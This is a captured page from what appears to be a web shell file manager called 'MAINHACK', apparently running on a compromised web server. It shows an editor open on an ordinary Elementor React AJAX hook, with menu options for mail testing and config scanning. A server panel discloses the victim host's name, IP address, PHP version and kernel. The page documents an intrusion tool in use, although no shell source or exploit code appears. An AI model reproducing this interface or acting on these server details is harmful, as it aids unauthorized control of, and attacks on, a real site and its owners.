[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: use-ajax.js
import { useState, useEffect } from 'react'; export default function useAjax() { const [ ajax, setAjax ] = useState( null ), initialStatusKey = 'initial', uploadInitialState = { status: initialStatusKey, isComplete: false, response: null, }, [ ajaxState, setAjaxState ] = useState( uploadInitialState ), ajaxActions = { reset: () => setAjaxState( initialStatusKey ), }; useEffect( () => { if ( ajax ) { const formData = new FormData(); if ( ajax.data ) { for ( const key in ajax.data ) { formData.append( key, ajax.data[ key ] ); } if ( ! ajax.data.nonce ) { formData.append( '_nonce', elementorCommon.config.ajax.nonce ); } } const options = { type: 'post', url: elementorCommon.config.ajax.url, headers: {}, cache: false, contentType: false, processData: false, ...ajax, data: formData, success: ( response ) => { const status = response.success ? 'success' : 'error'; setAjaxState( ( prevState ) => ( { ...prevState, status, response: response?.data } ) ); }, error: () => { setAjaxState( ( prevState ) => ( { ...prevState, status: 'error' } ) ); }, complete: () => { setAjaxState( ( prevState ) => ( { ...prevState, isComplete: true } ) ); }, }; jQuery.ajax( options ); } }, [ ajax ] ); return { ajax, setAjax, ajaxState, ajaxActions, }; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.dijitaldukkanim.com.tr
Server IP: 104.247.168.220
PHP Version: 8.1.33
Server Software: Apache
System: Linux server.dijitaldukkanim.com.tr 4.18.0-553.105.1.el8_10.x86_64 #1 SMP Tue Feb 17 05:17:39 EST 2026 x86_64
HDD Total: 492.3 GB
HDD Free: 180.56 GB
Domains on IP: N/A (Requires external lookup)
System Features